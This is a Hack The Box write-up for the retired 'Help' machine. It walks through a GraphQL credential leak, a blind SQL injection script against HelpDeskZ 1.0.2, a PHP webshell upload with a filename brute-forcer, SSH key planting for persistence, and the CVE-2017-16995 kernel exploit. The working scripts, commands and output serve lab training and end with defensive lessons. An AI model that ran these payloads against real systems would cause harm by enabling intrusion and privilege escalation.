root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat help.md
// writeups

Help

19 Jan 2019 · 22 min read
Help - maquina de Hack The Box

Executive summary — Help chains an unauthenticated GraphQL endpoint that leaks credentials with a blind SQL injection in HelpDeskZ 1.0.2 to escalate from end user to administrator, re-enable a file upload blocked by a whitelist (EDB-40300) and run code as the system user help — ending in root by exploiting a sign-extension bug in the kernel's eBPF verifier (CVE-2017-16995). The interesting part isn't any single step, but that the public one-click exploit doesn't work as-is: you first have to win application-level admin privilege to re-enable it.

PlatformHack The Box
Operating systemLinux (Ubuntu 16.04.5 LTS)
DifficultyEasy
StatusRetired
Target IP10.129.230.159

Attack map

[3000/HTTP] Unauthenticated GraphQL -> leaks credentials
   |  helpme@helpme.com : 5d3c9318... (MD5) -> godhelpmeplz
   v
[80/HTTP] /support -- HelpDeskZ 1.0.2 -- logged in as end user
   |  Blind SQLi (ticket_id / msg_id) -> admin SHA-1 hash -> Welcome1
   v
[staff panel] Settings -> Tickets -- upload whitelist
   |  "php" added by hand
   v
[RCE] EDB-40300 -- PHP webshell -> uid=help (user.txt)
   |
   v
[ROOT] CVE-2017-16995 -- eBPF verifier sign-extension bug -> root.txt

1. Reconnaissance

nmap -p- --min-rate 3000 -Pn -oA scans/all-ports 10.129.230.159
nmap -sCV -p22,80,3000 -Pn -oA scans/services 10.129.230.159
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http     Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8)

A response TTL of 63 (one hop below 64) confirms a Linux stack, and the OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 banner pins the distro to Ubuntu 16.04 (Xenial) — which already tells us the kernel will be on the 4.4 branch, worth keeping for privilege escalation. Port 80 redirects to the vhost help.htb:

echo '10.129.230.159 help.htb' | sudo tee -a /etc/hosts

Methodology note: run the full -p- scan first. A default 1000-port scan would have found 22 and 80, but port 3000 — the actual way in — would have been missed.

2. Port 3000 — unauthenticated GraphQL

curl -s http://10.129.230.159:3000/
{"message":"Hi Shiv, To get access please find the credentials with given query"}

An Express endpoint returning JSON and talking about a "query" points at GraphQL:

curl -s http://10.129.230.159:3000/graphql
{"errors":[{"message":"GET query missing."}]}   # 400, but the endpoint exists

Introspection is the GraphQL feature that lets a client ask the server for its own schema. Essential in development, it should be off in production — it's equivalent to publishing the full API documentation to anyone who asks:

curl -s -X POST http://10.129.230.159:3000/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{name} types{name fields{name type{name kind}}}}}"}' | jq

The schema is tiny: a single User type with two fields, username and password, and a root query user:

curl -s -X POST http://10.129.230.159:3000/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{user{username password}}"}' | jq
{"data":{"user":{"username":"helpme@helpme.com",
                 "password":"5d3c93182bb20f07b994a7f617e99cff"}}}

32 hex characters → unsalted MD5:

hashcat -m 0 -a 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt
# 5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz

Why this matters outside the CTF. There isn't one vulnerability here, there are two stacked: (1) introspection reveals what to ask, and (2) the user resolver checks absolutely nothing before answering. Turning introspection off would only have slowed the attacker down a few minutes — username/password are guessable field names — not stopped them. Introspection is defense in depth; authorization in the resolver is the real control.

3. Port 80 — HelpDeskZ 1.0.2

feroxbuster -u http://help.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,txt -t 50
301  http://help.htb/support

/support serves a HelpDeskZ install. Its README.md was left reachable after deployment:

curl -s http://help.htb/support/README.md
Version: 1.0.2 from 1st June 2015
Developed by: Evolution Script S.A.C.

Unsupported since 2015. Looking for known exploits:

searchsploit helpdeskz
# HelpDeskZ 1.0.2 - Arbitrary File Upload   php/webapps/40300.py

Logging in at http://help.htb/support/?v=login with helpme@helpme.com : godhelpmeplz works. We're now an authenticated end user of the helpdesk.

The EDB-40300 bug. When a ticket attachment is uploaded, HelpDeskZ 1.0.2 saves it renamed as md5(original_name + time()) keeping the original extension — a fully predictable name if you control the original name (you do) and know the server's time to the second (from the Date header of any HTTP response), and the file lands inside the docroot. The public exploit simply uploads shell.php and brute-forces the last N seconds until it hits the right hash. But attaching sh.php returns File is not allowed. — a whitelist is active. Enumerating it extension by extension surfaces two distinct error messages, an oracle in itself:

File triedResponseInterpretation
sh.php, sh.phtml, sh.php5, sh.svg...File is not allowed.Extension parsed fine, not on the whitelist
sh.php., sh.php%20, sh.php%00.pngInvalid file extension.Parsing returned an empty/invalid extension
sh.jpg, sh.png, sh.txtacceptedThe real whitelist

Effective whitelist: jpeg, jpg, png, txt. Double extensions, null bytes and trailing dots don't work (PHP 5.6+ no longer has the null-byte path bug). Another way in is needed.

Time-saving detail: the captcha only regenerates when the image is requested, not on every POST. Solve it once by hand and reuse that same value across hundreds of requests in the same session — without this, enumerating extensions or brute-forcing the timestamp would be impractical. And a captcha that doesn't invalidate on use isn't a captcha.

Blind SQL injection in the attachment download. Vulnerable code, controllers/view_tickets_controller.php:

$attachment = $db->fetchRow("SELECT *, COUNT(id) AS total FROM ".TABLE_PREFIX."attachments
    WHERE id=" . $db->real_escape_string($params[2]) . "
      AND ticket_id=" . $params[0] . "
      AND msg_id=" . $params[3]);

Of the three parameters, only $params[2] goes through real_escape_string(). ticket_id and msg_id are concatenated raw, and being numeric with no quotes, there isn't even a literal to escape out of. The download URL maps to param[]=ticket_id¶m[]=action¶m[]=att_id¶m[]=msg_id. The oracle is clean — a matching row serves the file, otherwise an HTML 404, and the most stable signal to automate on is the Content-Type:

…&param[]=6 and 1=1   → 200, Content-Type: image/jpeg
…&param[]=6 and 1=2   → 200, Content-Type: text/html

A small custom binary-search script (sqlmap chokes on repeated array-style parameters like param[]) extracts data at ~7 requests per character — far quieter than the noise of a generic tool:

#!/usr/bin/env python3
import requests, string
from urllib.parse import quote

BASE = ('http://help.htb/support/?v=view_tickets&action=ticket'
        '&param[]=4&param[]=attachment&param[]=1&param[]=')
S = requests.Session()
S.cookies.set('PHPSESSID', 'YOUR_SESSION_HERE')

def truth(cond: str) -> bool:
    r = S.get(BASE + quote(f'6 and ({cond})'))
    return 'image' in r.headers.get('Content-Type', '')

def length(expr: str, hi: int = 256) -> int:
    lo = 0
    while lo < hi:                              # binary search over length()
        mid = (lo + hi) // 2
        if truth(f'length(({expr}))>{mid}'):
            lo = mid + 1
        else:
            hi = mid
    return lo

def extract(expr: str) -> str:
    n, out = length(expr), ''
    for i in range(1, n + 1):
        lo, hi = 31, 127
        while lo < hi:                          # binary search over ascii()
            mid = (lo + hi) // 2
            if truth(f'ascii(substr(({expr}),{i},1))>{mid}'):
                lo = mid + 1
            else:
                hi = mid
        out += chr(lo)
    return out

for q in ('database()', 'user()', 'version()',
          "(select group_concat(id,0x3a,username,0x3a,password) from staff)"):
    print(f'{q} = {extract(q)}')
database()  → support
user()      → root@localhost
version()   → 5.7.25-0ubuntu0.16.04.2
staff       → 1:admin:d318f44739dced66793b1a603028133a76ae680e

user() = root@localhost is tempting (load_file(), INTO OUTFILE?), but load_file('/etc/passwd') returns NULL: MySQL 5.7 on Ubuntu ships with secure_file_priv pointing to /var/lib/mysql-files/ by default, which kills both primitives outside that directory. Being MySQL root doesn't mean usable FILE privilege — a dead end, but two requests confirm it.

The admin hash is 40 hex characters → unsalted SHA-1:

hashcat -m 100 -a 0 d318f44739dced66793b1a603028133a76ae680e /usr/share/wordlists/rockyou.txt
# d318f44739dced66793b1a603028133a76ae680e : Welcome1

The staff panel lives on a separate entry point: http://help.htb/support/?v=staff, log in with admin : Welcome1. Under Settings → Tickets there's an "Allowed file types" table editable straight from the UI — the whitelist that was blocking us is just a database row the administrator can change:

# Staff session in s.txt (curl -c s.txt after login)
for EXT in php phtml; do
  curl -s -b s.txt -X POST \
    "http://help.htb/support/?v=staff&action=settings&param[]=tickets&param[]=insert_filetype" \
    -d "do=insert&type=${EXT}&size=0&btn=Submit" -o /dev/null
done

With php on the whitelist, EDB-40300 is exploitable again. The server time is recorded right before and after submitting the ticket with the attachment, and that window is scanned computing md5(name + epoch) until a HEAD returns 200:

import requests, hashlib, email.utils
from datetime import datetime, timezone

URL, UP, NAME = 'http://help.htb/support/', 'http://help.htb/support/uploads/tickets/', 'pwn.php'
SHELL = b'<?php if(isset($_REQUEST["c"])){echo "<pre>";system($_REQUEST["c"]);echo "</pre>";} ?>'
s = requests.Session()
# ... login as helpme@helpme.com and solve the captcha by hand ...

def server_time(r):
    return int(email.utils.parsedate_to_datetime(r.headers['Date'])
               .replace(tzinfo=timezone.utc).timestamp())

t0 = server_time(s.head(URL))
r  = s.post(URL + '?v=submit_ticket',
            data={'department':'1','subject':'x','message':'x','captcha':CAP,'do':'submit'},
            files={'attachment[]': (NAME, SHELL, 'image/jpeg')})
t1 = server_time(r)

for t in range(t1 + 3, t0 - 10, -1):
    h = hashlib.md5((NAME + str(t)).encode()).hexdigest()
    if s.head(f'{UP}{h}.php').status_code == 200:
        print(f'[+] SHELL: {UP}{h}.php'); break
[+] SHELL: http://help.htb/support/uploads/tickets/bf9924ea549f09f20f680a84dea2742f.php

4. Access as help

curl -s 'http://help.htb/support/uploads/tickets/bf9924ea549f09f20f680a84dea2742f.php?c=id'
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),115(lpadmin),116(sambashare)

Notable detail: Apache doesn't run as www-data, but as help, a real system user with a home directory and shell — a misconfiguration on its own, which here hands over the flag directly:

curl -s '.../bf9924ea549f09f20f680a84dea2742f.php?c=cat+/home/help/user.txt'
a1d3e5ef0f5d490cebcaa2ae05ffffce

user.txt: a1d3e5ef0f5d490cebcaa2ae05ffffce

A webshell without a TTY is awkward for compiling exploits. With help having a valid shell and port 22 open, the cleanest move is planting a key through the webshell itself:

ssh-keygen -t ed25519 -f ./help_key -N ''
# via the webshell (URL-encoded):
mkdir -p /home/help/.ssh
echo 'ssh-ed25519 AAAA...' > /home/help/.ssh/authorized_keys
chmod 700 /home/help/.ssh && chmod 600 /home/help/.ssh/authorized_keys

ssh -i ./help_key help@10.129.230.159

5. Post-exploitation enumeration

Everything checked with no result is as much a part of the writeup as what actually worked:

sudo -l                                   # asks for a password; help's is unknown
find / -perm -4000 -type f 2>/dev/null    # only Xenial's standard SUID binaries
getcap -r / 2>/dev/null                   # cap_net_raw+ep on mtr/traceroute6 → harmless
crontab -l; ls -la /etc/cron*             # nothing custom
netstat -tulpn                            # 3306 only on loopback

What does point at a vector:

uname -a
# Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
which gcc && gcc --version   # /usr/bin/gcc → 5.4.0

A February 2018 kernel on a box reporting itself as 16.04.5 (August 2018) means the OS got updated but the kernel was never rebooted onto a newer one. And gcc present on a production server is a finding in its own right.

6. Privilege escalation — CVE-2017-16995

CVE-2017-16995 is a sign-extension bug in the Linux kernel's eBPF verifier, specifically in check_alu_op() (kernel/bpf/verifier.c). Before letting a userspace-loaded BPF program run, the verifier simulates its execution and tracks, for every register, a range of possible values (min/max) it later uses to decide whether a memory access computed from that register falls within safe bounds. When processing a BPF_ALU64|BPF_MOV|BPF_K instruction — moving a 32-bit immediate into a 64-bit register —, the range calculation didn't account for the fact that the real, runtime extension is sign extension: an immediate with bit 31 set (say 0x80000000) actually becomes a huge, negative 64-bit value that the verifier's computed range never considered possible. That gap between the range the verifier *believes* is valid for the register and its real runtime value is what lets a userspace program craft a pointer that passes the verifier's bounds checks while actually pointing outside the intended structure. The result is arbitrary kernel memory read/write from an unprivileged user, and from there overwriting the process's cred structure is trivial. Affects kernels 4.9–4.14.8 and the 4.4 branch with the eBPF backport — on Xenial, up to and including 4.4.0-116 (fixed in 4.4.0-117, USN-3583-1). CVSS v3.1: 7.8. Our kernel is exactly 4.4.0-116.

searchsploit -m linux/local/45010.c
scp -i ./help_key 45010.c help@10.129.230.159:/tmp/e.c

ssh -i ./help_key help@10.129.230.159
cd /tmp && gcc e.c -o e && chmod +x e
./e
task_struct = ffff88003a0e5b00
uidptr = ffff880039fdc784
spawning root shell
root@help:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),...

Run from a non-interactive session, it needs its input fed via stdin:

ssh -i ./help_key help@10.129.230.159 'echo "id; cat /root/root.txt" | /tmp/e'
4d0001dda843b9b2c80241d34c4d9f44

root.txt: 4d0001dda843b9b2c80241d34c4d9f44

A note on kernel exploits. In a CTF they get fired off without a second thought. In a real pentest, a kernel exploit can crash the box — CVE-2017-16995 writes directly into kernel structures, and an offset mismatch triggers a panic. It must be explicitly in scope, run outside critical hours, and, when possible, validated first on an identical VM.

7. Dead ends

  • Upload whitelist bypass — double extension, null byte, trailing dot/space, .htaccess, .phar, SVG with an XML payload: all blocked.
  • load_file()/INTO OUTFILE via the SQLi as root@localhost — killed by secure_file_priv.
  • CVE-2016-6210 (OpenSSH < 7.3 user enumeration) — theoretically applicable, but irrelevant: the target username was already known.
  • SSH brute force against help with the discovered credentials — negative, and dropped as too noisy.
  • SUID/capabilities/cron escalation — nothing exploitable.

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdNode/Express API :3000Unauthorized GraphQL query + introspection enabledCredential leak (unsalted MD5)
App accessHelpDeskZ 1.0.2 — view_tickets_controller.phpBlind SQLi on ticket_id/msg_id (CWE-89)admin SHA-1 hash → staff panel
App-level escalationHelpDeskZ 1.0.2 — upload whitelistWhitelist editable from the staff UI + predictable attachment name (EDB-40300)RCE as help (user.txt)
PrivEscUbuntu 16.04.5 kernel / 4.4.0-116CVE-2017-16995 — eBPF verifier sign-extensionRoot (root.txt)

Lessons learned

  • Turning off GraphQL introspection is defense in depth, not the real control: authorization has to live in every resolver, never rely on the schema staying secret.
  • A captcha that doesn't invalidate on verification (only when the image regenerates) doesn't stop anything — it lets the same value be reused across hundreds of automated requests.
  • An upload whitelist editable from within the application itself (a database row, not infrastructure configuration) is only as strong as the access control on the panel that manages it — here, an upstream SQLi bypassed it completely.
  • A web service running as a real system user (instead of a shell-less service account) turns any application-level RCE into immediate persistent access.
  • Letting the kernel fall behind while the OS itself gets patched (16.04.5 running a 16.04.0 kernel) leaves months-long windows for already-public privesc exploits.